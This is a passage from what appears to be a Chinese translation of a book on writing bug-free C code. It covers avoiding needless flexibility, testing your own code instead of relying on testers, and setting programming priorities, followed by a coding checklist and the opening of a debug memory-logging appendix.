弹性设计的麻烦在于，愈有弹性，愈难找出里头的问题。记得我在第五章中讨论过关于realloc的部分吗？你几乎可以把任意组合的输入参数丢给realloc，而它一定会完成某些动作，即使这些动作不是你预期要作的。更糟糕的，realloc的问题很难找出来，因为这函式弹性到了你没办法加上有意义的除错检查来核对输入参数。不过如果你将realloc切成处理扩大、缩小、配置跟释放内存块的四个分开的函式，你核对起函式的参数就简单多了。

除了注意不当的弹性函式，你也应该留心那些弹性过度的功能。弹性功能麻烦多多的原因在于它们能带来意料之外的合法状态，让你没想到要测试这些你甚至不知道会出现的状态。

当我在替苹果计算机公司的第二代麦金塔计算机加上Microsoft Excel的彩色显示支持时，我将Windows版Excel里头允许使用者指定电子表格储存格中文字颜色的程序移植过去。要在一个储存格中加上颜色，使用者得有个现成的储存格显示格式如下

$#,##0.00 /* 将1234.5678显示成$1,234.57。 */

然后在这格式字符串前面加个颜色指定代码。要把一个数字显示成蓝色，使用者会把上头的格式改成

[blue]$#,##0.00

如果使用者用了[red]，显示出来的数字就是红色的。

Excel的产品规格相当清楚－颜色指定代码应该放在数字格式字符串之前－可是在我把这功能移植过去，并开始测试程序后，我发现底下的格式也有效：

$#,##0.00[blue]

$#,##[blue]0.00

$[blue]#,##0.00

使用者可能会将[blue]放在任何地方。我问本来的程序员，这算是个错误还是个程序特性，他说颜色指定字能摆在任意处"只是刚好在语法分析循环中排定的结果。"他看不出来允许这样一点的额外弹性会有什么问题－我当时也没看出来－所以程序就保留那样没改。回想起来，我觉得我们不应该让那点额外的弹性留着。

不久后，测试小组找到半打隐藏的错误，全都跟格式语法分析部分有关，语法分析程序并没有预期会在一个格式字符串的中间碰到一个颜色指定字。

不幸的，我们没有拿掉这点额外弹性来修正问题－一个只要修改一个简单的if叙述就好了的改法－另一个程序员跟我一直在修理那个指定字的错误－修理症状－来维持没人需要的弹性。到今天，Microsoft Excel还是让你能将颜色指定字放在任何地方。

当你在自己的项目中实作功能时，要让它们易于使用；不要给它们不必要的弹性。易用跟弹性有很大的差别的。

不要允许不必要的弹性。

别处移植过来的程序都算新的

我从移植这么多Windows版Excel的程序代码到麦金塔版Excel的过程中学到的一个教训就是，人们会想跳过测试这样移植过的程序代码。你的理由一定是"我已经在本来的产品中测试过那程序代码了"。我应该已经在测试小组看到程序以前就把Excel数字格式程序中的所有问题都找出来了，可是我没有。我只有把程序放进麦金塔版Excel中，修改了把程序整合进项目中所必要的部分，然后简单的测试一下正确整合好了没有。我没有彻底测试这功能，因为我想我已经测试过了。这是不对的，特别在Widnows版Excel本身还在开发中，而微软内部各开发小组还把修正错误的时间排在产品开发周期最后头的时代里。

不管你怎么实作功能的－不管是从头写起或是从现有的程序改起－你都有责任让错误在你把一段程序加到项目内时全抓出来。事实是Windows版Excel上的同样问题不见得比麦金塔版Excel的轻微。我的懒散都在程序中表现出来了。

不要乱试

你有多少次听到像这样的对话，"我想不出来该怎么..."，然后另一名程序员回答，"你试过..."？这样的对话总是以不同的形式出现在几乎每个程序设计的网际网络新闻群组中。一名程序员会贴出一段讯息，问"我怎样把光标隐藏起来，好让它不会遮住画面？"而有人会答，"试着把光标移到画面外的坐标。"另一个人则会建议，"试着将光标屏蔽设成0，表示没有半个光标上的图素会被显示出来。"还有第三个人可能会说，"光标只是位图形而已，把它的宽度跟高度设成0就好了。"

尝试，尝试，尝试。

我承认这是个蠢例子，不过我确定你一定看过这类的对话发生过，不管是在网际网络新闻群组或是在办公室的咖啡机前面，而这些别人要你尝试的做法里头只有少数找对了方向。当有人要你试着怎样解决一个问题时，他们是在给你一个经验上的猜测，而非正式的明文解答。

试着用不同方法解决一个问题有什么不对？没有不对，只要你尝试的每件事都在你使用的系统上清楚的定义着。不过程序员们在尝试这些东西时，往往表示他们已经来到超出了已知系统领域，而进到了找寻任何会动的解决方案的领域，即使这些做法可能依赖于一个无意间造成而未来可能改变的副作用。你认为那些故意从已释放内存中读取东西的程序员们是怎样养成坏习惯的？free当然没有定义它会对已释放的内存内容进行什么处理，不过有时那些程序员会觉得他们需要参考到已释放的内存。他们这样试了，程序动了，所以他们现在认为这样的行为是可以依赖的。

注意听那些"你试过..."后头的建议，我想你大概会发现大部分的建议都用到了未定义或定义不良的程序副作用。如果作出这些建议的程序员们知道正确的解决方法，他们就不会告诉你"试着"怎样作了，他们会告诉你，"只要用系统呼叫‘SetCursorState(INVISIBLE)’就好了。"

不要一直"尝试"不同的解决方案来找出有效的做法。

花时间找寻正确的解决方法才是正途。

不要"乱试"，看看文件吧

有好几年，微软的麦金塔程序员们会收到Usenet网际网络论坛上的麦金塔新闻群组内经过编辑的只读文章。这些文章有趣，可是不能响应其它程序员贴出来的问题相当令人泄气。程序员们总是问着在苹果公司出版的Inside Macintosh说明手册中已经清楚回答过了的问题，而网络上的程序员们总是用各种猜测性的答案代替文件中清楚的解答。幸运的，总有少部分熟悉Inside Macintosh的人会在没人正确解答时贴出正确的答案："看看Inside Macintosh弟四册，弟32页，那边说你该...."。

如果你发现自己在测试一个问题的可能解法，那就停下来把你的说明手册打开来看吧。对，这并比不上到处修改程序有趣，也不比问别人怎么解决容易，可是你会对自己的操作系统更了解，更晓得该怎样在上头写程序。

神圣的时间表

有些程序员在被要求写出一个相当大的功能时，会花上两个月抱着键盘写程序，而从来没测试过自己写的东西跑得如何，其它程序员则会在停下来检查程序跑得好不好以前写出一堆小功能。只要这些程序员之后有彻底测试过他们的程序，这些做法都没做错。可是他们有彻底测试过自己写的东西吗？

想想一名程序员得在五天内实作出五种功能的例子。假设这名程序员有两种选择：同时实作跟测试各单一功能，或是写好五种功能再一次测试这五样功能。实际上，你觉得哪一种做法会产生出比较稳固的程序代码？多年来我看过两种程序写作风格，除了少数例外，那些编写程序边测试程序的人制造的问题比较少，我也可以告诉你原因何在。

假设一名程序员花了全部五天的时间来写出五种功能，却发现他没有足够的时间在时间表的限期内彻底测试过他的程序。你认为这名程序员会多花一两天来彻底测试过程序，或他会简单跑一下程序确定程序会动就了事了？答案如何取决于程序员与工作环境。不过后果就是让产品发行日延期，或是缩短测试时间。前者会让大部分公司都伤脑筋，而后者经常不会造成什么负面影响；而这名程序员大概会因为让产品如期上市而受到赞扬。不过只要有一个困难的功能，就可以把保留给所有功能的测试时间都用光了。

订下时间表的一个缺点是程序员们会将时间表当成比程序的测试工作更重要的事，就是说基本上，达成时间表上的目标比写出正确的程序更重要。我的经验告诉我，如果程序员能在期限内的时间里头把程序写出来，他就会准时把程序完成，而不管有没有把程序充分测试好。"此外"，他将认为，"程序中如果还有任何未发现的问题，测试小组会让他知道"。

要消除这样的倾向，程序员们应该在继续进行下一个功能的实作以前，先把已经完成的部分逐一测试好。如果头三项功能要花五天来写，程序员们就得多花时间来写剩下的两样功能。他们也许会跳过剩下两个功能的测试以缩小时间表的延误，不过至少头三种功能已经测试过了，总比五种功能都没彻底测试过要好。

一小段一小段的写跟测试程序。

一定把程序测试过，即使那样作会让时间表出现延迟。

名称的意义

在 第五章中，我解释过getchar的函式名称多常让程序员们认为这函式传回的是个字符值，实际上却是传回整数值。同样的，程序员们常相信测试小组该负起测试程序的责任，不然测试小组还要作什么？但是尽管许多程序员们那样认为，测试小组的工作并不是测试程序员们写出来的程序代码；测试小组的工作是保护公司，最后维护顾客使用的产品品质。

看看另一种产业：建筑业中的测试过程，应该能够更易于了解测试小组所扮演的角色。在盖房子时，承包商负责建设工程，验收员责检查工程有没做好，不过验收员并不负责测试整个工程。水电工人在铺好房子中的电线后，在离开前会先打开电源看看保险丝，并用电表检查每个插座能不能用。水电工人永远不会认为"我不用测试这些东西。如果有问题，验收员会让我知道哪边出了问题"，因为有这样念头的水电工人很快就会丢掉饭碗。

测试人员如验收员般不负责测试工作的好理由是他们很少碰得到需要的动到的东西，也很少有测试所需的工具或技能。尽管与普遍的观念互异，测试人员并不能比你对程序作出更好的测试。测试人员能在程序中加上除错检查来找出错误的资料流吗？他们能够如第三章中替内存子系统所作的，加上那些子系统测试吗？他们能用除错程序逐步检查你程序的执行路径与功能都如预期般动作吗？令人难过的事实是，能够确实比测试人员更有效的作到测试工作的程序员们往往没做该做的测试。

测试小组扮演了开发过程中重要的角色；不过并不是许多程序员们认为的那种角色。当测试人员检查一个产品时，他们会寻找功能上的缺陷与漏洞，核对产品是否与先前版本后向兼容，然后告诉开发团队哪些地方修改润饰过后可以改善产品，而且他们在"真实"环境中使用这些产品，确保产品功能真正有用，并回报任何他们注意到的错误情形。

即使你的测试人员除了找寻错误以外没作任何事，你还是不能假设他们会好好帮你把程序测试好。记住我在第一章中提到过的：测试人员只能够在程序的资料输入端猛灌一堆东西来看看问题会不会自己跑出来。当然，没人真的会想那样作，因为现在的测试工具似乎能够更科学的作到这点。不过实际上，现在的测试工具祇是更有效的执行那种测试方式而已。一名测试人员最多也不过能说"这程序似乎能动"。对我来说，那样子完全比不上程序员已经把程序整个追踪执行并观察过程序中的每条执行路线，来查对合法的输入产生出正确的输出。

此外，从实务角度来看，如果测试小组的某些成员经验不足，又会如何呢？或者如果你的测试小组因为更紧急的工作而抽不出时间来测试你的程序，那会怎样？这些情形在微软总是发生着；我相信别处也是如此。

重复的工作

如果程序员负起彻底测试程序的责任，有个问题自然会出现，"这样子程序员跟测试人员不是在重复彼此的作过的事情吗？"或许他们做的是同个性质的事情，可是当程序员们在测试程序时，他们是从里到外进行测试，而测试人员则是从程序外头往里头测试。

程序员们从每个函式开始测试，逐步追踪检查每条执行路线，查对程序与资料流的正确性。由这些步骤，他们逐步向外检查每个函式与子系统中其它函式是否正确运作。最后，程序员们使用单元检查来确定子系统间合作愉快。单元检查，作为额外的查核过程，规律性的检查测试过程中内部数据结构的状态。

测试员们将程序视为黑盒子，设计对程序的输入端扔出所有可能状态的资料来找寻程序缺陷的整体测试方式。测试员们也会使用回归测试来查对所有已知错误是否已经修好了而没再出现。从外部，测试员们逐渐往内部测试，使用程序代码涵盖工具来了解整体测试检查过多少内部程序代码了。测试人员用这些信息来建立还没测试过的程序代码所需要的测试方式。

这是用两种不同"算法"来测试程序的重要范例。这些做法用在一起会管用，是因为程序员们集中在程序的测试上，而测试人员在乎的是菜单现的正确性。藉由两个相反方向的合作，找出未知错误的机率就增加了。

你不能仅仅依赖测试小组来帮你测试程序－至少如果你想实在的写出零错误程序的话，你就不应该这样做。

不要依赖测试小组来找出你的错误。

戴白帽的测试员

你注意到过当测试小组找出一个问题时，一些程序员们是如何松了一口气的吗？"哦！"他们说，"我当然高兴测试小组能在我们推出产品以前找出那个问题来。"其它程序员们则在测试员报告程序有问题时怨声载道，特别当测试人员回报了同一份程序的多个问题时。我看过程序员气得毛发直立的说："测试员为什么不饶了我？"我还听过有项目主持人（他们应该更清楚怎样才是对的吧？）说，"公开测试日期的延误都是测试小组的错。"有一次，我还为了这种问题，不得不将一名项目主持人跟测试小组主持人架开，免得他们打起来。

这听来很蠢吧？当我们没推出产品跟受攻讦的压力时，我们是可以很简单的坐下来，看出这样的行为有多荒谬。可是当你已经延误产品推出日期好几个月，而程序中仍然布满错误时，你就很容易将测试员们当成大坏蛋了。

当我看到程序员们对测试员们生气时，我会将他们拉开，然后问他们为何认为测试员们该为程序员们自己产生的问题负责。他们不应该对测试员们生气；测试员们祇是帮他们把自己产生的问题找出来而已。

当一名测试员回报你程序中的错误时，你的第一反应应该是难以置信的吓到了－你不应该预期测试员们会在你的程序中找出问题来。你的第二反应应该是感激他们，因为测试员们让你免于把一个问题呈现在使用者面前。

不要责怪发现你制造的错误的测试人员。

世界上没有笨问题

有时你会听到程序员抱怨说出现了一个奇怪的荒谬错误，或说测试员们经常回报笨问题。如果你听到程序员跟你抱怨笨问题的出现，停下来提醒他或她，错误的严重性跟值不值得修正并不是由测试员们决定的。测试人员必须回报所有问题，不管问题蠢不蠢，因为就他们所知，那些蠢问题一定是某些严重问题的副作用。

真正的问题不在一个问题笨不笨，而在为何测试程序的程序员没有抓出那个问题来。即使错误的情形很微小而不值得修正，找出问题的症结依然是重要的，这样才能让你避免相似的错误一再出现。

问题也许不大，但是只要有问题出现，就是严重的事情。

建立优先级

当你翻完本书，看到那些快速复习要点，你也许会惊讶其它有些是互相矛盾的。不过多思考一下，你也许就不会惊讶了。毕竟，程序员们时常在处理把程序写得又快又小的矛盾目标。

当你面对两个可能实作的选择时，你会选哪个？我想你在执行效率跟程序大小间作出选择并不会有问题－你总是在作着这类的决定－可是要怎么在执行效率跟维护性各见高下，或是小而错误百出跟大而异于测试的两个程序间作出选择？有些程序员们会不加思索的回答这些问题，不过其它人则会犹豫，而且如果你把同样问题隔了几周后再问，你还可能得到不同的答案。

那些程序员在面对不同性质代价时不能确定选择何者，是因为他们不了解在如程序大小与执行效率这样常见的条件何者为重所造成的。没有明确优先级目标设定的程序设计方式就像不知道终点何在的行进路线，在每个街角，你都会停下来问，"我该何去何从？"而你一定会走错路。

有的程序员相当清楚自己排定的各项条件的优先度，可是由于他们排定的顺序错误或互相冲突，使他们前进的方向还是朝着错误的路线。例如，许多老程序员对各种条件排定的优先级还是停留在1970年代晚期的想法，当时计算机内存相当捉襟见拙，而微电脑还跑得很慢。当时要写出一个可用的程序，你得以程序的维护性为代价来交换程序大小与执行速度。不过今天，内存空间大得很，而计算机已经快到即使执行很差的算法来作大部分的工作，都不会慢到令人不能忍受了。因此，这些条件的优先级倒过来了，再拿程序维护性来交换程序大小与执行速度已经事件不合理的事情了，因为这样子作的结果大概只会出现感觉不出执行速度加快了多少而却缺乏可维护性的程序。不过还是有些程序员将程序大小与执行速度的最佳化当成神圣不可侵犯的准则，使他们做出错误的实作选择，只因为他们对各项程序条件的顺序排定过时了。

不管你有没想过自己排定的条件顺序如何，或者你最近从来没想过这些条件之间的顺序排定，你得坐下来清楚的建立一份顺序列表（或如果你身为项目主持人时，帮你的团队安排一份列表），好让自己能够好好依据项目的这些目标作出最好的选择。注意，我说的是："项目的目标"。你的优先度列表应该反映的，不是你想做的，而是你应该做的事情。如果一名程序员将"个人表现"列为优先，那对这名程序员的产品会有什么好处？这名程序员会接受一个标识符命名标准，或接受别种程序区块排列的风格吗？

没有一个所谓"正确"的排列顺序方式，因为你选择的排列顺序就代表着你程序的风格与品质。看一下两名程序员Jack跟Jill的条件排列顺序：

Jack的顺序排列 | Jill的顺序排列
正确性 | 正确性
整体效率 | 可测试性
程序大小 | 整体效率
区域效率 | 可维护性/程序清晰性
个人方便 | 一致性
可维护性/程序清晰性 | 程序大小
个人表现 | 区域效率
可测试性 | 个人表现
一致性 | 个人方便

这些条件的排列顺序对Jack跟Jill的程序有什么影响？两名程序员都将写出正确的程序当成第一优先，可是剩下的考量就不同了。如你所见，Jack强调程序大小与速度，而不太在乎程序的清晰性，也没考虑过程序是否易于测试。

Jill也将写出正确程序行为首要重点，不过不光是现在写出正确程序而已，她还考虑了未来程序的维护能否也正确进行。她只有在程序大小与执行速度对产品成败很重要时，才会担心这两种条件。"可测试性"在她的顺序排列清单中排得很前面，因为她相信除非程序易于测试，不然就不好查对程序的正确性（而程序的正确性当然是她的首要课题）。

对这两名程序员，谁比较可能

? 打开所有编译器警告选项来自动找出错误，即使这样会比较安静而不报告问题的解决方式耗去额外的程序大小与执行速度？

? 使用除错检查叙述与子系统除错检查？

? 追踪每条程序执行路径，仔细核对刚写好的新程序代码？

? 使用安全的函式接口而不用危险的接口方式，即使这样会在每次呼叫函式时多产生一两个额外的指令？

? 使用具可移植性的资料型态，并在位位移应该可用时改以除法或乘法处理（例如写成/4而不是>>2）？

? 避免使用 第七章 <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_207> 中提到过的那些抄快捷方式的技巧？

这是一连串不合理的疑问吗？我不认为如此。换个比较简单的问法，"你认为这两名程序员中的哪一位，会在看完本书后，照著书中的建议去做？""哪一位程序员会看过The Elements of Programming Style，或任何一本建议人如何写程序比较好的书，并照著书中的建议去做？"

Jack照着他自己的顺序排列方式，会将重点放在写出实际上会伤害产品正确性的程序上。她会浪费时间去尝试将每一行程序代码写得尽可能又小又快，而不会对产品的长期正确性放在脑海中想想。Jill刚好相反，照着她的条件设定，她会将重点放在产品的正确性上，而不是程序本身，除非有必要，不然她也不会在乎程序的大小与执行速度。

自我反省一下，程序的大小与执行速度表现跟产品的正确性，哪一个对你的公司比较重要。现在你觉得该将各种条件的排列顺序如何安排？

建立各种条件的优先级排列，并照著作。

呃，我不晓得

你曾经在看过别人写的程序后，想着他们为何那样子写程序吗？当你问他们为何那样写实，他们会说出像"呃，我不晓得我为什么那样写。我猜那时我觉得那样子写起来应该是正确的吧"？

我总是检查着程序，寻找各种帮助程序员提升程序写作技巧的方法，而且我发现这种"呃，我不晓得"的反应相当普遍。我也发现有这种反应的程序员们没有一个清楚的优先级设定；他们的决策方式，有时似乎祇是依据他们饭后的感觉好坏而已。有清楚的优先级设定的程序员们清楚知道他们该怎样选择实作方式，也能很快告诉你他们为何那样写。

如果你发现你常常不晓得自己为何把程序写成你写出来的样子，那就表示你真的得停下来建立一份属于自己的程序设计条件优先级排列清单了。

不要拿你不要的东西

我在本章中还没提到的一个重点是，你得发展出质疑自己写作程序方式的习惯。这整本书就是长久下来几个简单问题不断被思索后的结果：

? 我怎样自动找到这种问题？

? 我怎样预防这种问题的出现？

而在这结尾的一章中：

? 这种观念会帮助，或是妨碍我写出零错误程序的能力？

质疑自己的观念是重要的，因为这些观念就反映在你自己的程序设计条件优先设定上。如果你相信测试小组会好好测试你的程序，你想写出零错误程序就会碰到麻烦，因为你会认为，某种程度上，你可以省掉某些测试工作。想想：如果你不认为写出零错误程序是可能的，那你有多少机会写得出零错误程序？如果你不认为那是可能的，你还会去试着写出零错误程序吗？

如果你想写出没有任何错误的程序，你就得舍弃那些阻止你达成目标的观念。要舍弃那些观念的方法，就是问问你自己，那些观念对你写出零错误程序的能力有没有帮助，或是有无妨碍。

快速回顾

? 问题不会自己跑出来；问题也不会自己不见。如果你得到一份错误报告，可是你没办法重现那个问题，不要假设测试人员看错了。即使得把旧版本的程序代码翻出来，也不要放弃找出错误的努力尝试。

? 不要等"以后"再修正错误。重要产品因为错误百出而取消推出已经成了惊人的常见现象了。如果你在找到错误时立刻修正问题，你的项目就不会遭到同样的命运。如果程序总是接近零错误，你当然不会看到一份填满各种错误的臭虫清单。

? 当你追踪一个问题时，永远自我反省一下，这个问题是否只是一只更大只的臭虫的症状而已。没错，修正你找到的症状当然比较容易，不过你应该尽可能找出问题的真正症结所在。

? 不要写出不必要的程序或进行不必要的修正处理。让你的竞争者去写出那些花俏而不必要的功能，到处修改他们的程序，让他们去为了这些要付出额外代价的"附加"功能延误他们的产品推出日期，让你的竞争者们浪费时间在修正这些无用的程序代码中不必要的错误吧。
?

? 记住，弹性并不等于易用。当你设计函式与功能时，注意它们的易用性；如果它们只是有弹性而已－如realloc函式跟Microsoft Excel中的颜色格式功能的话－这些功能并不会变得更有用；只是变得更难找出错误。

? 抗拒"试着"达到要求效果的诱惑，把你拿去尝试研究不确定事物的时间拿来找出正确的答案。如果必要，就打电话给你的操作系统厂商，找他们的开发支持小组问你想问的事情，这比起写出一个将来可能不能用的古怪实作要好多了。

? 把程序写成一小段一小段易于彻底测试的样子，不要省略测试过程。记住，如果你不好好测试程序，就没人有办法好好测试它了。不管你怎么做，不要期望测试小组能帮你把程序测试好。

? 决定出你的程序开发小组依循的程序设计条件优先级。如果你像Jack那样在乎程序最佳化，可是你的项目需要像Jill那样小心的人，你就得改变自己的习惯，至少在工作时得改变你自己。

? 学习计划：说服你的程序设计团队建立并依循一份他们同意遵循的条件优先级设定表。如果你的公司接受不同技能程度的雇员（像是入门新手，普通资历的程序员，资深程序员，或是功力高深得很可怕的人），你也许会考虑给不同人不同的优先级设定。你觉得为什么要这样做？


結尾：何去何從?

結尾：何去何從?

本书就快结束了。你大概会怀疑，我真的相信人们写得出零错误程序吗？答案，当然是不，而且我绝对不相信人们作得到。可是我相信你能够写出相当接近零错误的程序，比你现在所能做到的更接近零错误的境界。对房子里的房间，你可以选择要漆上颜色的地方而保持不要上新漆的地方原封不动的，可是你得先在上漆前脱下衣服，贴好护板，小心在护板范围外的墙上漆上你想要的颜色。如果你不想让油漆到处乱沾，你就一定得耗上一番功夫控制好上油漆的动作。同样的，要让臭虫远离你写出来的程序，你也得耗上一番功夫。而且只有下定决心了，你才会去下这番功夫。

即使你将写出零错误程序行为优先要事，你也不能光靠本书中传授的技巧，你不可能光靠别人的指示就写出零错误程序。重要的是你要省思自己如何在未来的日子里找出错误或避免你碰到过的错误继续出现在你的程序中。你思索得到的结果可能会让你自己大吃一惊，就像我也曾经发现过原来我过去的做法会带来问题一样。

有一次我在检查一个Microsoft Excel原始码主档时，不小心删掉了一行程序，造成重新计算引擎中出现一个严重而隐藏着的错误。我没发现我的失误，而我写的一个功能连同这个错误一起更新进了原始码主档中。最后有人找到了这个错误，并发现是我删掉的那行程序造成这个问题。当我反省我该怎样找出类似的问题或避免同样的错误再度发生时，我得到一个清楚的答案：在我把修改的东西更新到原始码主档以前使用原始码控制管理程序找出我作了哪些修改。这额外的步骤作起来不花什么时间，在我开始那样作之后的五年里，原始码控制管理程序帮我抓到了三个严重的错误跟一大堆我改了程序后忘了还原的小修改。花了这些功夫，五年里才抓到三个严重的错误，值得吗？是的，对我来说是值得的，因为那么作不用花什么时间，而且我知道如此一来就不会让什么改错的东西出现在原始码主档案中。再一次的，你得决定让错误免于出现在程序中的优先与否。

你会发现检查程序有助于解决你的问题，帮产品写出内部工作用的更好文件对避免错误也有所帮助。如果你没用程序单元测试的做法，也许你应该开始这么做。你甚至会发现值得特别加上一些除错码对帮你测试程序的人会有所帮助。

现实上，你永远不能完全将程序中的臭虫消除掉，可是你能够持续努力避免每个你碰到的错误再次出来，让错误出现的机率大幅降低。为了帮你省下一些功夫，我在附录A提供了一份涵盖本书中最重要的一些准则的程序写作检查表。

成功写出零错误程序的最后关键在于最后一条准则：

不二过。

不要犯下相同的错误。


附錄A 程式寫作檢查表

附錄A 程式寫作檢查表

为了提醒你本书的重点，我列出了对程序的几种检查要项，你可以在底下这些程序开发的主要阶段中检查一下：设计，实作，除错支持，测试，与除错。我没列出在程序开发的整个过程中应该要作的那些项目－我假设你已经打开了编译器提供的警告选项，维护了一份除错版本的程序，有错误回报就立刻修正问题等等。

要有效利用这些检查表，你得在每次在项目中写上新程序时检查表上的项目。从实际的观点来说，"每次"其实是说"下几次"你写新程序之后。这么做了以后，你应该就能培养出一种能够察觉程序有没违反那些零错误程序写作原则的第六感了。

设计阶段

当你考虑一个功能的不同设计方式时，不要光看一个设计方式是不是最快或最小的。想想实作上、维护上跟使用程序上会出现的风险，对每一种可能的设计方式，检查一下这些项目：

? 设计中有未定义或无意义的行为吗？会不会出现随机或罕见的行为？设计中有不必要的弹性或不必要的假设吗？设计上有没有反复无常的地方？

? 有资料透过静态或整体缓冲区传送吗？有任何函式依赖其它函式的内部运作机制吗？有函式处理超过一件是的吗？

? 你的设计必须处理特例吗？你有将处理特例的程序分离出来吗？

? 检查函式的输出入资料。每个输入跟输出状态只表示一种资料，或是有包括错误状态跟其它难以注意到的情形？健全的接口设计会让每个输出入资料对程序员都很清楚明朗而不会遗漏任何如malloc会传回NULL的错误状态或realloc会在size参数为0时将内存释放掉之类的重要细节。

? 预估一下程序员们会如何使用你的函式。那些"明显"会被用到的使用方式动作正常吗？回忆一下realloc造成内存块遗失的例子。

? 维护上，你的函式在呼叫端可读吗？每个函式都应该只处理一件事，参数应该让呼叫者了解其意义。TRUE跟FALSE参数的出现经常代表着函式处理超过一件事，或函式本身设计不良。

? 你的函式会传回错误值吗？能不能重新定义那些函式来消除错误状态？记住，函式传回错误时，在每个呼叫点，错误都一定要会被处理到－不然就会出错。

? 最重要的，你可以自动彻底的使用单元测试来核对设计的正确性吗？如果不能，你应该考虑采用另一种可以测试的设计方式。

实作阶段

在实作了设计后，你应该检查这些项目，确定你的实作健全而防错：

? 比较实作与设计之间的差别，你精确的实作了设计的东西吗？小心，设计与实作之间的小差异都可能带来问题。记住先前那个UnsToStr坏掉的例子，就只是因为设计上要求使用无号整数而实作上写成了非负整数。

? 程序中有不必要的假设吗？在可以使用具可移植性的资料型态时候，你有没用到不具移植性的资料型态呢？实作时有没有什么草率处理的地方？

? 检查程序中的表达式，有溢位或借位的情形吗？变量也有这些情形吗？

? 你有用到巢状的?:运算子或其它危险的C语言惯用语法，如位位移替代除法吗？你有无缘由的混用位运算子跟数值运算子吗？你有用到不可靠的C语言惯用语法吗？像在数值运算中使用逻辑表达式产生0/1的值？将危险的写法用差不多但较安全的方式重写吧。

? 好好检查一下程序，你有用到团队中一般程度的程序员看不懂得C语言语法吗？考虑用主流的C语言用法重写一遍吧。

? 你的每个函式大概都只处理一件事，不过那件工作只用了一条执行路径去处理，还是用了不同的执行路线去处理不同的特例呢？如果完成一件事的程序是透过处理特例的程序代码完成的，你可以使用不同的算法来消除这些特例吗？试着消除程序中的每个if叙述。
?

? 你有呼叫任何会传回错误的函式吗？你可以修改设计，让那样的用法变得不必要而可以消除错误处理的需要吗？

? 你有动到你无权处理的内存吗？特别是那些动到已释放内存的动作？你有读取其它子系统拥有的内部数据结构吗？

? 如果你的函式使用指向输入或输出的指针，你的程序有限制对这些指针的存取只动到输出入所需的内存吗？如果没有，你的程序可能对呼叫者配置出来的内存块大小作了错误的假设。

加上除错支持阶段

加上除错检查与其它除错码到实作程序中，可以减少找出程序中隐藏的错误所需的时间。底下的检查表列出了值得让你考虑使用的除错检查根除错码：

? 你有用除错检查来核对函式参数吗？如果你发现自己由于缺乏足够信息而没办法核对某一特定参数，提供更多除错信息会有用处吗？回忆一下除错专用的sizeofBlock函式对于检查已配置内存块的指针多有用处。

? 你用除错检查来核对假设条件或找寻未定义行为的违规使用吗？对未定义行为的检查避免程序员们滥用实作上未指定好的地方。

? 防御性程序设计方式在内部问题出现时"修正"错误，让这些错误找不出来。你有用除错检查在除错版的程序中找寻这些问题吗？（当然，这里对防御性程序设计方式的看法不能用在修正使用者的不良输入所采取的防御措施上。）

? 你写的除错检查够清楚吗？如果不，确定加上解释那些检查用途的注释。不幸的，当程序员们碰到一个除错检查失败时而不了解那个检查的用途时，它们常会假设那个除错检查无用而拿掉它。写好注释可以帮你保留下必要的除错检查。

? 如果你的程序配置了内存,你有用除错专用码来将未初始化的内容设定成某个已知的明显垃圾值吗？将内存设定成固定内容将让找寻跟可靠的重现使用未初始化内存的问题更容易些。

? 你的程序在释放内存前会先把里头的内容填成不合法的垃圾值吗？

? 你有算法重要到让你该用另一套不同，但是同等功效的除错用算法来进行结果核对吗？

? 有什么除错检查可以尽可能在你的程序开头早期就找出错误来吗？特别是在程序开头检查那些资料表格？

测试阶段

程序员们测试自己的程序是件十分重要的事情，即使那会让程序的推出延期。这一段落的问题说明了你所应该采取最有用处的测试步骤：

? 程序编译时会不会产生任何包括所有选择性编译警告的警告讯息？如果你用lint, 或是类似的诊断工具，你的程序能通过所有的测试吗？程序能通过你的单元测试吗？如果你跳过了其中任何一步，你就正丧失着易于找出错误的机会。

? 你有在除错程序中，不只注意程序，还留意资料流的去向的，逐步追踪所有新的程序代码吗？这大概是找出你写的程序中的错误的最好办法了。

? 你有"翻动"任何程序吗？如果有，你有测试过更动过的部分吗？你有在除错程序中逐步追踪过改过的地方吗？记住，更动过的程序实际上跟必须彻底测试过的新程序一样。

? 你应该替新程序设计单元测试吗？

除错阶段

在每次找寻一个回报给你的错误时，你应该检查底下的问题：

? 你找得出那个问题吗？如果不，记住，一个错误不会自己不见；问题一定是隐藏起来了，或是已经被修好了。要找出是哪一种情形，你应该检查被回报有问题的那个程序版本。

? 你找到了造成错误的真正根源，还是只找到了问题带来的症状？确实找出问题的根源来。
?

? 怎样自动找出同样的错误？除错检查有用吗？除错程序代码呢？改变你的程序写作方式或写作过程有用吗？


附錄B 記憶體事件紀錄常式

附錄B 記憶體事件紀錄常式

本附录中的程序实作了一个 第三章中提到过的简单联结串行版本的内存事件纪录例程。这程序故意写得简单易懂－并不是针对需要大量使用内存管理器的程序而设计的。不过在你花时间将这些例程改用AVL-tree或B-tree等其它提供更快速搜寻效率的数据结构改写以前，先试试这程序是不是真的慢到不能用在你的程序中。如果你没使用许多整体配置内存块的话，你应该会发现这程序对你一样合用。

这档案中的实作很简单：对每个已配置的内存块，这些子程序会多配置一些内存来存放记录了内存配置信息的blockinfo结构。看看后头的定义，当一个新的blockinfo结构建立时，它的内容会被填好，并放置在连结串行结构前端－这串行本身并没有特别顺序。再一次提醒你，用这样的写法只是因为它简单易懂。

block.h

#ifdef DEBUG

/*-------------------------------

* blockinfo是个包含内存块配置纪录信息的结构。每个已配置

* 的内存块都有在内存配置纪录串行中有个对应的blockinfo

* 结构。

*/

typedef struct BLOCKINFO

{

struct BLOCKINFO *pbiNext;

byte *pb; /* 内存块起始地址 */

size_t size; /* 内存块长度 */

flag fReferenced; /* 被参考过？ */

} blockinfo; /* 命名规则： bi, *pbi */

flag fCreateBlockInfo(byte *pbNew, size_t sizeNew);

void FreeBlockInfo(byte *pbToFree);

void UpdateBlockInfo(byte *pbOld, byte *pbNew, size_t sizeNew);

size_t sizeofBlock(byte *pb);

void ClearMemoryRefs(void);

void NoteMemoryRef(void *pv);

void CheckMemoryRefs(void);

flag fValidPointer(void *pv, size_t size);

#endif

block.c

#ifdef DEBUG

/*---------------------------------------------------------

* 这档案中的函式必须比对任意指针，这是ANSI标准不保证具可

* 携性的动作。

* 底下的宏将本档案中需要的指针比较动作分离出来。这实作

* 假设使用的内存模式是平坦寻址的，这样子简单的指针比较

* 运算才会有效。底下的定义对于一些常见的80x86内存模式

* 不适用。

*

* 译注： 这些宏对于不分段的16位80x86内存模式与

* Win32环境下的平坦寻址模式还是适用的。

*/

